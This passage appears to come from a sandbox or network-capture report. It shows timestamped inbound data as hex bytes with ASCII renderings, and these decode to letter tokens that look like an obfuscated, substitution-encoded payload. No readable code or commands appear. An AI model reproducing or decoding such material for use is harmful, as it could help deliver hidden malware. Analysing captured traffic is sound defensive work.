71 20 70 71 20 44 44 20 6d 58 20 57 4f 20 44 4f 20 58 45 20 71 71 58 20 4d 70 20 45 6d 20 71 71 4a 20 57 4f 20 57 6d 20 
4d 70 20 58 45 20 58 6d 20 71 71 6d 20 71 4a 45 20 45 71 20 71 71 4a 20 57 4f 20 6d 70 20 4a 20 57 70 20 58 6d 20 71 7
1 71 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 70 70 20 6d 58 20 57 4f 20 70 4d 20 58 44 20 4d 6d 20 71 71 70 20 71 71 71 
20 4a 57 6d 20 70 71 20 57 4a 20 70 58 20 44 4f 20 71 70 58 20 4d 
Data Ascii: m Jm XJ Wm Xm qJO qOD ME JWp qOm mX WO WW qqp qDJ qpW qOM qqJ Wm Jm W Wm Xm qJO D XW 
qqJ WO WX JD XX Xm qqm qJE qqq pq DD mX WO DO XE qqX Mp Em qqJ WO Wm Mp XE Xm qqm qJE Eq qqJ WO 
mp J Wp Xm qqq qqE qOM qqJ pp mX WO pM XD Mm qqp qqq JWm pq WJ pX DO qpX M

2021-10-29 15:55:26 UTC 31 IN Data Raw: 20 70 70 20 71 4a 20 71 4f 44 20 6d 4f 20 44 6d 20 71 4a 6d 20 57 4a 20 44 44 20 71 71 44 20 6d 4d 20 58 6d 
20 4a 20 4d 70 20 45 4f 20 71 71 4a 20 57 4f 20 57 58 20 57 44 20 6d 4d 20 44 45 20 6d 4a 20 71 4a 44 20 71 4f 44 20 71 
71 6d 20 4d 70 20 71 45 58 20 57 4f 20 57 6d 20 4d 6d 20 45 45 20 70 4d 20 71 6d 44 20 71 6d 70 20 4a 4f 57 20 57 6d 
20 4a 6d 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 4a 20 4d 70 20 71 71 45 20 57 4f 20 71 71 4a 20 57 4f 20 57 6d 20 58 6d 
20 71 4f 45 20 71 71 45 20 71 4f 4d 20 4d 45 20 44 57 20 71 45 4d 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 4f 20 4d 4d 20 71 
4f 4a 20 4d 71 20 4a 4f 20 57 6d 20 6d 58 20 6d 4d 20 57 4d 20 58 57 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 6d 4d 20 57 
57 20 6d 4d 20 58 4d 20 4a 4f 58 20 71 71 6d 20 71 71 45 20 
Data Ascii:  pp qJ qOD mO Dm qJm WJ DD qqD mM Xm J Mp EO qqJ WO WX WD mM DE mJ qJD qOD qqm Mp qEX 
WO Wm Mm EE pM qmD qmp JOW Wm Jm Wm Xm qqm qOJ Mp qqE WO qqJ WO Wm Xm qOE qqE qOM ME DW qEM 
WO Wm Mm qJO MM qOJ Mq JO Wm mX mM WM XW qqE qOM qJJ mM WW mM XM JOX qqm qqE 

2021-10-29 15:55:26 UTC 33 IN Data Raw: 57 6d 20 58 71 20 71 4a 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 6d 71 20 4f 20 57 71 20 57 6d 20 44 57 20 
71 71 6d 20 71 71 45 20 71 4f 4d 20 71 4f 45 20 57 4f 20 6d 58 20 70 57 20 57 4a 20 6d 45 20 71 71 4a 20 71 71 45 20 71 
4f 4d 20 71 71 44 20 4d 70 20 57 4f 20 57 71 20 57 6d 20 58 4a 20 71 4a 4f 20 71 45 71 20 71 4f 6d 20 58 44 20 70 44 20 
57 58 20 4a 70 44 20 57 6d 20 58 4a 20 58 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 70 4a 20 57 4f 20 57 6d 
20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 4a 44 20 44 4f 20 6d 58 20 57 57 20 57 45 20 58 6d 20 71 71 6d 20 
71 71 44 20 71 71 58 20 44 6d 20 6d 58 20 6d 58 20 70 45 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 4f 20 71 4f 4d 20 71 7
1 4a 20 70 57 20 57 4f 20 45 70 20 57 4a 20 58 6d 20 71 71 6d 20 
Data Ascii: Wm Xq qJW qqE qOM qqp mq O Wq Wm DW qqm qqE qOM qOE WO mX pW WJ mE qqJ qqE qOM qqD Mp 
WO Wq Wm XJ qJO qEq qOm XD pD WX JpD Wm XJ XX qqE qOM qqJ Wq pJ WO Wm Xm qqm qqE qOM qJD DO mX 
WW WE Xm qqm qqD qqX Dm mX mX pE Wm Xm qqm qqO qOM qqJ pW WO Ep WJ Xm qqm 

2021-10-29 15:55:26 UTC 34 IN Data Raw: 20 58 4d 20 58 70 20 71 71 57 20 71 71 45 20 71 4f 45 20 71 4a 4a 20 4a 70 44 20 57 70 20 4a 4f 20 70 4a 20 
4d 6d 20 71 45 4a 20 71 71 45 20 71 4f 45 20 4d 4f 20 57 4f 20 6d 58 20 57 71 20 70 58 20 58 6d 20 71 71 6d 20 71 71 45 
20 71 4f 4d 20 71 71 4a 20 57 4f 20 44 70 20 44 71 20 57 6d 20 58 71 20 71 4a 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 
6d 71 20 4f 20 6d 58 20 57 6d 20 44 44 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 4f 58 20 57 4f 20 6d 58 20 70 57 20 57 
4a 20 6d 45 20 71 71 4a 20 71 71 45 20 71 4f 4d 20 71 71 44 20 6d 4d 20 4d 57 20 70 44 20 57 57 20 58 6d 20 71 71 44 
20 71 4a 45 20 71 45 4d 20 71 71 45 20 4a 4f 20 70 58 20 57 44 20 4a 70 4a 20 58 6d 20 71 71 44 20 4d 57 20 71 4f 4d 
20 71 71 4a 20 57 71 20 70 4a 20 57 4f 20 57 6d 20 58 6d 20 71 
Data Ascii:  XM Xp qqW qqE qOE qJJ JpD Wp JO pJ Mm qEJ qqE qOE MO WO mX Wq pX Xm qqm qqE qOM qqJ WO 
Dp Dq Wm Xq qJW qqE qOM qqp mq O mX Wm DD qqm qqE qOM qOX WO mX pW WJ mE qqJ qqE qOM qqD mM MW 
pD WW Xm qqD qJE qEM qqE JO pX WD JpJ Xm qqD MW qOM qqJ Wq pJ WO Wm Xm q

2021-10-29 15:55:26 UTC 35 IN Data Raw: 57 4f 20 6d 58 20 57 4f 20 6d 4a 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 71 71 20 71 71 20 6d 58 20 6d 58 20 
57 4f 20 57 4f 20 58 45 20 4a 4d 20 71 4f 4a 20 71 4f 58 20 71 71 4a 20 57 4a 20 57 58 20 4a 70 44 20 57 71 20 71 71 6d 
20 71 4f 4f 20 71 4a 45 20 71 45 4d 20 71 71 4a 20 57 4a 20 4a 44 20 57 4f 20 57 6d 20 58 57 20 4d 58 20 71 71 45 20 71 
4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 45 20 4d 71 20 71 71 6d 20 71 71 4a 20 4d 58 20 71 71 4a 20 57 4f 20 
6d 4d 20 6d 71 20 44 20 58 44 20 71 71 6d 20 4d 4d 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 6d 20 57 4f 20 57 6d 20 44 4d 
20 71 71 4a 20 71 6d 20 71 71 71 20 71 71 4a 20 57 4f 20 57 4a 20 6d 4d 20 58 4d 20 4d 6d 20 71 71 57 20 71 71 45 20 
71 4f 45 20 71 4a 4a 20 4a 70 44 20 57 70 20 4a 4f 20 70 4a 
Data Ascii: WO mX WO mJ Xm qqm qOO qqq qq mX mX WO WO XE JM qOJ qOX qqJ WJ WX JpD Wq qqm qOO qJE 
qEM qqJ WJ JD WO Wm XW MX qqE qOM qqJ WO mX WO WE Mq qqm qqJ MX qqJ WO mM mq D XD qqm MM qOM 
qqJ WO mm WO Wm DM qqJ qm qqq qqJ WO WJ mM XM Mm qqW qqE qOE qJJ JpD Wp JO pJ

2021-10-29 15:55:26 UTC 37 IN Data Raw: 20 71 4f 58 20 4d 44 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 70 20 71 4a 45 20 71 
71 4a 20 44 4a 20 44 70 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 71 4f 20 71 71 4a 20 6d 4a 20 6d 58 20 57 
4f 20 57 6d 20 45 4d 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 71 71 6d 20 45 70 20 57 4f 20 57 4f 20 57 6d 20 58 4f 20 71 
71 70 20 71 71 70 20 4a 20 71 4f 57 20 57 71 20 6d 58 20 57 4a 20 70 70 20 4d 6d 20 71 45 4a 20 71 71 4a 20 45 57 20 
71 4f 4a 20 57 44 20 4a 70 58 20 57 4f 20 6d 58 20 71 4a 44 20 71 71 57 20 71 4f 71 20 71 4f 4d 20 71 71 4a 20 57 4f 20 
6d 58 20 57 4f 20 57 6d 20 44 4d 20 4d 4d 20 71 71 45 20 71 4f 6d 20 71 4a 45 20 57 4f 20 6d 58 20 57 71 20 71 4a 20 58 
44 20 71 4f 71 20 4a 44 20 70 44 20 71 71 4a 20 57 4f 20 57 
Data Ascii:  qOX MD WO mX WO Wm Xm qqm qOp qJE qqJ DJ Dp WO Wm XW qOW DM qqO qqJ mJ mX WO Wm EM 
qqm qqE qJm qqm Ep WO WO Wm XO qqp qqp J qOW Wq mX WJ pp Mm qEJ qqJ EW qOJ WD JpX WO mX qJD qqW 
qOq qOM qqJ WO mX WO Wm DM MM qqE qOm qJE WO mX Wq qJ XD qOq JD pD qqJ WO W
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2021-10-29 15:55:26 UTC 38 IN Data Raw: 57 44 20 45 58 20 57 57 20 57 6d 20 58 6d 20 71 71 58 20 71 71 20 71 4f 44 20 71 71 4a 20 57 4f 20 57 4a 20 
4a 44 20 4a 45 20 58 6d 20 71 71 6d 20 71 71 57 20 44 4d 20 71 4d 57 20 57 71 20 6d 58 20 57 4a 20 70 4d 20 4d 6d 20 
71 4a 45 20 71 71 20 71 4f 71 20 71 71 4a 20 57 4f 20 57 4a 20 4a 44 20 71 58 4d 20 58 6d 20 71 71 6d 20 71 71 57 20 
71 4a 44 20 71 71 44 20 4a 57 20 57 58 20 71 58 20 71 4d 4f 20 45 71 20 71 71 6d 20 71 71 45 20 44 4d 20 4a 70 4d 20 5
7 4f 20 6d 58 20 57 44 20 70 4d 20 58 4f 20 71 71 44 20 71 4a 57 20 71 4a 45 20 71 71 57 20 4d 70 20 71 58 57 20 57 4f 
20 57 6d 20 58 4a 20 4d 6d 20 71 57 44 20 71 4f 4f 20 4d 4d 20 57 57 20 70 6d 20 57 57 20 44 4d 20 4a 71 44 20 71 71 
57 20 71 71 45 20 71 4f 45 20 58 58 20 71 6d 70 20 6d 4d 20 57 4f 20 
Data Ascii: WD EX WW Wm Xm qqX qq qOD qqJ WO WJ JD JE Xm qqm qqW DM qMW Wq mX WJ pM Mm qJE qq qOq 
qqJ WO WJ JD qXM Xm qqm qqW qJD qqD JW WX qX qMO Eq qqm qqE DM JpM WO mX WD pM XO qqD qJW qJE 
qqW Mp qXW WO Wm XJ Mm qWD qOO MM WW pm WW DM JqD qqW qqE qOE XX qmp mM WO 

2021-10-29 15:55:26 UTC 40 IN Data Raw: 71 6d 20 71 71 57 20 70 4f 20 71 71 6d 20 6d 58 20 6d 58 20 57 4a 20 44 4f 20 45 57 20 71 4a 57 20 4a 6d 58 
20 4d 4d 20 71 71 4a 20 57 4f 20 57 4f 20 4a 70 20 70 4a 20 44 6d 20 71 6d 4f 20 71 71 57 20 57 70 20 71 71 4a 20 57 4f 
20 57 6d 20 44 57 20 71 58 70 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 4f 45 20 58 57 20 70 45 20 70 44 20 4a 4f 6d 20 
6d 58 20 71 70 20 71 71 6d 20 71 71 45 20 71 4f 45 20 70 20 71 45 4d 20 6d 58 20 57 4f 20 6d 58 20 4a 6d 44 20 58 45 
20 71 4f 4d 20 71 4a 71 20 71 6d 4a 20 57 4a 20 71 4f 44 20 57 4f 20 57 6d 20 58 4a 20 71 20 4a 6d 6d 20 71 4f 4d 20 71 
71 4a 20 57 4a 20 71 6d 44 20 4a 70 20 6d 45 20 44 6d 20 71 6d 4f 20 71 71 57 20 57 6d 20 71 71 4a 20 57 4f 20 57 6d 2
0 44 57 20 71 58 70 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 4f 45 
Data Ascii: qm qqW pO qqm mX mX WJ DO EW qJW JmX MM qqJ WO WO Jp pJ Dm qmO qqW Wp qqJ WO Wm DW 
qXp Xm qqm qqW JOE XW pE pD JOm mX qp qqm qqE qOE p qEM mX WO mX JmD XE qOM qJq qmJ WJ qOD WO W
m XJ q Jmm qOM qqJ WJ qmD Jp mE Dm qmO qqW Wm qqJ WO Wm DW qXp Xm qqm qqW JOE

2021-10-29 15:55:26 UTC 41 IN Data Raw: 71 4f 4d 20 71 71 58 20 57 4a 20 4a 4f 44 20 57 4a 20 57 4f 20 58 44 20 71 71 6d 20 71 71 57 20 70 4f 20 4a 
71 70 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 44 58 20 71 71 6d 20 71 71 45 20 45 4f 20 58 58 20 70 57 20 6d 58 20 57 4f 
20 4a 4d 20 71 4a 6d 20 4a 57 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 6d 20 4a 4a 20 6d 4d 20 57 4f 20 58 71 20 4d 
4f 20 57 58 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4a 44 20 57 4f 20 57 6d 20 45 4d 20 44 44 20 71 71 70 20 71 4f 4d 20 57 
45 20 57 71 20 6d 58 20 57 4f 20 6d 71 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 4f 57 20 70 20 71 4d 4f 20 6d 4d 20 57 4f 
20 6d 58 20 71 71 70 20 71 20 4a 71 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 4d 57 20 4d 70 20 57 57 20 58 6d 20 71 71 
44 20 58 4f 20 70 4f 20 71 4f 57 20 57 4f 20 6d 58 20 57 44 
Data Ascii: qOM qqX WJ JOD WJ WO XD qqm qqW pO Jqp WO mX WD pO DX qqm qqE EO XX pW mX WO JM qJm 
JWO qqE qOM qqX Jm JJ mM WO Xq MO WX qOM qqJ WJ JD WO Wm EM DD qqp qOM WE Wq mX WO mq Xm qqm q
OO qOW p qMO mM WO mX qqp q JqO qOM qqJ WD MW Mp WW Xm qqD XO pO qOW WO mX WD

2021-10-29 15:55:26 UTC 42 IN Data Raw: 6d 58 20 57 4f 20 71 58 20 58 6d 20 71 71 6d 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 4a 71 
44 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 4d 58 20 57 4f 20 57 6d 20 58 6d 20 
71 71 70 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 44 71 20 6d 58 20 57 4f 20 57 57 20 58 6d 20 71 71 6d 20 71 71 45 20 
71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 71 4d 20 58 57 20 71 71 6d 20 71 71 45 20 6d 6d 20 71 71 70 20 57 
4f 20 6d 58 20 57 71 20 57 6d 20 58 6d 20 71 71 6d 20 58 71 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 58 20 57 4f 20 57 6d 
20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 71 57 20 6d 4d 20 57 4f 20 57 6d 20 4a 4a 20 71 71 57 
20 71 71 45 20 71 4f 4d 20 71 71 45 20 57 4f 20 6d 58 20 57 4f 
Data Ascii: mX WO qX Xm qqm qqD qOM qqJ WO mX JqD Wm Xm qqm qJD qOM qqJ WO qMX WO Wm Xm qqp qqE 
qOM qqJ Dq mX WO WW Xm qqm qqE qOM qqJ WO mX WO qqM XW qqm qqE mm qqp WO mX Wq Wm Xm qqm Xq 
qOM qqJ Wq mX WO Wm Xm qqm qqE qOM qqJ qqW mM WO Wm JJ qqW qqE qOM qqE WO mX WO

2021-10-29 15:55:26 UTC 44 IN Data Raw: 20 4d 6d 20 4a 4d 20 71 4d 6d 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 6d 20 71 70 4d 20 57 57 20 58 6d 20 71 
71 44 20 71 71 70 20 44 4d 20 71 57 4f 20 57 4f 20 6d 58 20 57 4a 20 70 4f 20 4a 4a 45 20 71 71 57 20 71 71 45 20 71 4f 
45 20 4d 4f 20 70 70 20 4f 20 44 4a 20 57 6d 20 71 4d 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 
58 20 57 4f 20 57 4f 20 6d 4a 20 71 71 45 20 71 71 44 20 71 4f 4d 20 71 71 44 20 70 71 20 4a 4f 20 70 44 20 4a 70 4f 20 
71 4a 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 58 20 71 70 58 20 6d 58 20 57 4f 20 44 4f 20 71 70 4a 20 71 4a 44 20 71 
71 45 20 71 4f 4d 20 71 71 6d 20 4a 44 20 71 70 44 20 57 4f 20 57 6d 20 4d 6d 20 4d 4f 20 4a 4f 6d 20 71 4f 4d 20 71 71 
4a 20 57 44 20 4a 6d 20 71 70 44 20 57 6d 20 58 6d 20 71 
Data Ascii:  Mm JM qMm qOM qqJ WD Jm qpM WW Xm qqD qqp DM qWO WO mX WJ pO JJE qqW qqE qOE MO pp O 
DJ Wm qMm qqm qqE qOM qqJ WO mX WO WO mJ qqE qqD qOM qqD pq JO pD JpO qJ qqm qqE qOX XX qpX mX 
WO DO qpJ qJD qqE qOM qqm JD qpD WO Wm Mm MO JOm qOM qqJ WD Jm qpD Wm Xm q

2021-10-29 15:55:26 UTC 45 IN Data Raw: 71 71 44 20 71 4f 4d 20 71 71 58 20 70 57 20 57 4a 20 4d 70 20 4a 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 
71 71 71 20 71 71 58 20 4d 70 20 71 4f 20 57 4f 20 57 6d 20 58 4a 20 58 45 20 71 4f 4d 20 4d 6d 20 71 4a 4f 20 6d 58 20 
57 71 20 57 6d 20 70 4f 20 71 4a 20 71 71 6d 20 71 71 45 20 71 4f 45 20 71 4f 57 20 71 20 57 6d 20 44 57 20 71 57 45 20 
58 6d 20 71 71 6d 20 71 4a 45 20 4a 70 20 4d 4f 20 57 4f 20 6d 58 20 57 71 20 6d 4a 20 58 6d 20 71 71 6d 20 71 71 4d 
20 71 4f 4d 20 4d 45 20 57 4f 20 6d 6d 20 70 71 20 57 6d 20 4d 4f 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 6d 
58 20 6d 58 20 71 71 44 20 57 6d 20 45 4a 20 71 44 20 71 71 45 20 4d 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 
45 44 20 58 44 20 4d 4f 20 71 45 71 20 71 4f 4d 20 71 71 4a 20 
Data Ascii: qqD qOM qqX pW WJ Mp JmO Xm qqm qJE qqq qqX Mp qO WO Wm XJ XE qOM Mm qJO mX Wq Wm pO qJ 
qqm qqE qOE qOW q Wm DW qWE Xm qqm qJE Jp MO WO mX Wq mJ Xm qqm qqM qOM ME WO mm pq Wm MO 
qqm qqE qOM qqJ mX mX qqD Wm EJ qD qqE MM qqJ WO mX WO qED XD MO qEq qOM qqJ 

2021-10-29 15:55:26 UTC 46 IN Data Raw: 57 71 20 4d 70 20 58 71 20 58 57 20 71 71 6d 20 71 71 57 20 44 4d 20 71 4a 57 20 57 4f 20 6d 58 20 57 4a 20 
58 4d 20 71 57 45 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 71 6d 20 57 4a 20 4d 57 20 45 20 57 6d 20 58 6d 20 71 71 
44 20 58 4f 20 71 71 45 20 44 45 20 57 58 20 57 4f 20 6d 4d 20 57 4f 20 71 4a 6d 20 71 58 20 71 71 45 20 71 4f 4d 20 71 
71 58 20 6d 70 20 70 20 57 4a 20 44 4d 20 4a 57 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 4f 20 4a 6d 20 71 6d 4a 
20 6d 4d 20 58 4d 20 45 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4a 20 4a 4f 20 57 4f 20 6d 4d 20 58 4d 20 57 57 20 71 
71 57 20 71 71 45 20 71 4f 45 20 58 58 20 71 58 4d 20 6d 58 20 57 4f 20 6d 58 20 57 4d 20 6d 58 20 71 71 45 20 71 4f 4d 
20 71 71 58 20 4a 70 20 6d 4f 20 71 20 44 4a 20 58 44 20 71 71 
Data Ascii: Wq Mp Xq XW qqm qqW DM qJW WO mX WJ XM qWE qqm qqE qOp qqm WJ MW E Wm Xm qqD XO qqE 
DE WX WO mM WO qJm qX qqE qOM qqX mp p WJ DM JWW qqm qqE qOp qO Jm qmJ mM XM E qqW qqE qOE MJ 
JO WO mM XM WW qqW qqE qOE XX qXM mX WO mX WM mX qqE qOM qqX Jp mO q DJ XD qq

2021-10-29 15:55:26 UTC 48 IN Data Raw: 20 57 4d 20 45 45 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 4f 20 57 4f 20 70 45 20 71 58 45 20 71 4a 45 20 
71 71 6d 20 71 71 45 20 71 71 71 20 58 57 20 70 44 20 44 45 20 71 57 57 20 57 6d 20 58 6d 20 71 71 44 20 4a 71 57 20 
44 4d 20 4a 57 70 20 57 4f 20 6d 58 20 57 4a 20 58 4d 20 4a 71 20 71 71 6d 20 71 71 45 20 71 4f 45 20 58 44 20 4a 6d 
20 6d 58 20 57 4f 20 57 6d 20 45 71 20 44 44 20 71 71 4a 20 71 4f 4d 20 71 4d 4a 20 57 71 20 6d 58 20 57 4f 20 71 4d 20 
58 6d 20 71 71 6d 20 71 4f 4f 20 71 71 71 20 58 58 20 71 58 6d 20 6d 58 20 57 4f 20 6d 58 20 70 4d 20 71 71 4d 20 71 71 
4d 20 71 4f 4d 20 71 71 58 20 57 44 20 6d 45 20 44 71 20 71 58 45 20 4d 4f 20 71 71 6d 20 71 71 45 20 71 71 71 20 58 5
7 20 70 44 20 70 44 20 4a 4f 6d 20 6d 58 20 70 58 20 71 71 6d 20 
Data Ascii:  WM EE qqE qOM qqX JO WO pE qXE qJE qqm qqE qqq XW pD DE qWW Wm Xm qqD JqW DM JWp WO 
mX WJ XM Jq qqm qqE qOE XD Jm mX WO Wm Eq DD qqJ qOM qMJ Wq mX WO qM Xm qqm qOO qqq XX qXm mX 
WO mX pM qqM qqM qOM qqX WD mE Dq qXE MO qqm qqE qqq XW pD pD JOm mX pX qqm 
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2021-10-29 15:55:26 UTC 49 IN Data Raw: 4a 71 57 20 44 4d 20 4a 6d 58 20 57 4f 20 6d 58 20 57 4a 20 6d 58 20 70 4d 20 4a 71 6d 20 71 71 45 20 71 4f 
4d 20 71 4a 4a 20 45 4d 20 57 44 20 57 71 20 57 6d 20 58 4f 20 4d 4f 20 4a 6d 4f 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 
6d 20 4a 4f 6d 20 6d 58 20 58 4a 20 71 71 4a 20 71 71 45 20 71 4f 45 20 70 20 71 57 71 20 6d 58 20 57 4f 20 44 4f 20 71 
4a 6d 20 4d 58 20 71 71 45 20 71 4f 4d 20 4d 71 20 4a 44 20 70 70 20 57 4f 20 57 6d 20 71 4a 45 20 4d 4f 20 4a 6d 70 20 
71 4f 4d 20 71 71 4a 20 57 4a 20 4a 6d 20 71 58 71 20 57 6d 20 58 6d 20 71 71 44 20 71 71 57 20 71 6d 45 20 71 71 58 
20 57 70 20 57 4f 20 57 4f 20 6d 58 20 70 4d 20 4a 71 57 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 70 4a 20 57 4f 
20 57 6d 20 71 4a 45 20 4d 4f 20 71 4f 4f 20 71 4f 4d 20 71 
Data Ascii: JqW DM JmX WO mX WJ mX pM Jqm qqE qOM qJJ EM WD Wq Wm XO MO JmO qOM qqJ WJ Wm JOm 
mX XJ qqJ qqE qOE p qWq mX WO DO qJm MX qqE qOM Mq JD pp WO Wm qJE MO Jmp qOM qqJ WJ Jm qXq Wm X
m qqD qqW qmE qqX Wp WO WO mX pM JqW qqE qOM qJJ JD pJ WO Wm qJE MO qOO qOM q

2021-10-29 15:55:26 UTC 50 IN Data Raw: 20 6d 58 20 4a 71 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 4d 45 
20 57 4f 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 4a 4a 20 6d 58 20 57 4f 20 57 57 20 58 6d 
20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 57 6d 20 57 4f 20 6d 58 20 57 4f 20 44 71 20 58 6d 20 71 71 6d 20 71 71 45 20 
71 57 57 20 71 71 4a 20 57 4f 20 6d 58 20 6d 4d 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 4a 20 71 4f 4d 20 71 71 4a 20 
57 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 6d 45 20 6d 4d 20 57 4f 20 
57 6d 20 45 70 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 6d 58 20 57 4f 20 71 58 20 58 6d 20 71 71 6d 
20 71 71 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 
Data Ascii:  mX JqD Wm Xm qqm qJD qOM qqJ WO qME WO Wm Xm qqW qqE qOM qqJ JJ mX WO WW Xm qqm qqE 
qOM qWm WO mX WO Dq Xm qqm qqE qWW qqJ WO mX mM Wm Xm qqm qJJ qOM qqJ Wq mX WO Wm Xm qqm 
qqE qOM qqJ mE mM WO Wm Ep qqW qqE qOM qqp WO mX WO qX Xm qqm qqD qOM qqJ WO mX W

2021-10-29 15:55:26 UTC 52 IN Data Raw: 6d 44 20 57 6d 20 4a 6d 20 71 70 57 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 4a 71 4d 20 71 71 4a 20 57 4f 
20 57 58 20 4d 70 20 71 4a 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 4a 4f 71 20 57 71 20 6d 58 20 57 4a 20 57 
4f 20 71 4a 6d 20 71 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 44 20 71 70 57 20 57 71 20 57 6d 20 58 4a 20 58 
58 20 71 4f 4a 20 4d 70 20 71 4a 6d 20 57 4f 20 71 44 44 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 
20 71 71 4a 20 57 6d 20 45 58 20 57 44 20 57 57 20 58 6d 20 71 71 58 20 58 58 20 45 70 20 71 4f 4a 20 4a 4a 44 20 71 4
f 6d 20 57 4f 20 57 6d 20 58 57 20 4d 4f 20 4a 4f 57 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 4a 6d 20 44 70 20 57 6d 20 5
8 6d 20 71 71 4a 20 4d 70 20 4a 71 70 20 71 71 4a 20 57 4f 20 57 
Data Ascii: mD Wm Jm qpW Wm Xm qJO JD JqM qqJ WO WX Mp qJM Xm qqm qJE DM JOq Wq mX WJ WO qJm qmX 
qqE qOM qqX JD qpW Wq Wm XJ XX qOJ Mp qJm WO qDD WO Wm Xm qqm qqE qOM qqJ Wm EX WD WW Xm qqX 
XX Ep qOJ JJD qOm WO Wm XW MO JOW qOM qqJ WD JJm Dp Wm Xm qqJ Mp Jqp qqJ WO W

2021-10-29 15:55:26 UTC 53 IN Data Raw: 4a 20 70 4d 20 58 4f 20 4d 4f 20 71 6d 6d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d 57 20 71 44 4a 20 57 57 20 
58 6d 20 71 71 44 20 71 4f 4f 20 71 4f 57 20 70 71 20 4a 6d 6d 20 6d 58 20 57 4f 20 44 4f 20 58 4f 20 4d 4f 20 4a 4f 71 20 
71 4f 58 20 71 71 4a 20 57 4a 20 57 6d 20 4d 70 20 44 45 20 58 57 20 71 71 6d 20 71 71 57 20 45 71 20 71 71 4a 20 57 
4f 20 6d 4d 20 6d 44 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 71 4a 6d 20 71 71 4a 20 6d 44 20 4a 4d 20 57 4f 20 
57 44 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 71 58 20 57 4f 20 6d 4a 20 57 6d 20 71 71 
6d 20 71 4a 70 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 71 44 20 57 4f 20 71 4a 6d 20 4a 4f 44 20 71 71 44 20 71 
4f 4d 20 71 71 58 20 4a 44 20 4a 70 58 20 57 4f 20 57 6d 20 
Data Ascii: J pM XO MO qmm qOM qqJ WJ MW qDJ WW Xm qqD qOO qOW pq Jmm mX WO DO XO MO JOq qOX qqJ 
WJ Wm Mp DE XW qqm qqW Eq qqJ WO mM mD Wm Xm qqJ qqE qJm qqJ mD JM WO WD Xm qqm qqE qOM qqm W
O qqX WO mJ Wm qqm qJp qOM qqJ WO mX qqD WO qJm JOD qqD qOM qqX JD JpX WO Wm 

2021-10-29 15:55:26 UTC 54 IN Data Raw: 57 71 20 57 6d 20 58 4a 20 4a 4d 20 4a 4a 57 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 4f 20 71 4d 71 20 4a 4d 
20 58 6d 20 71 71 6d 20 71 71 4d 20 45 4a 20 71 4f 4a 20 44 57 20 71 44 70 20 57 4f 20 57 6d 20 58 4a 20 4a 4f 58 20 58 
4f 20 71 4a 4a 20 71 71 58 20 71 6d 6d 20 4a 6d 20 71 4d 71 20 57 6d 20 58 6d 20 71 71 44 20 71 4a 44 20 71 4f 44 20 
71 71 57 20 4d 70 20 58 4d 20 57 71 20 57 6d 20 58 4a 20 4d 4f 20 4a 6d 4d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d 57 
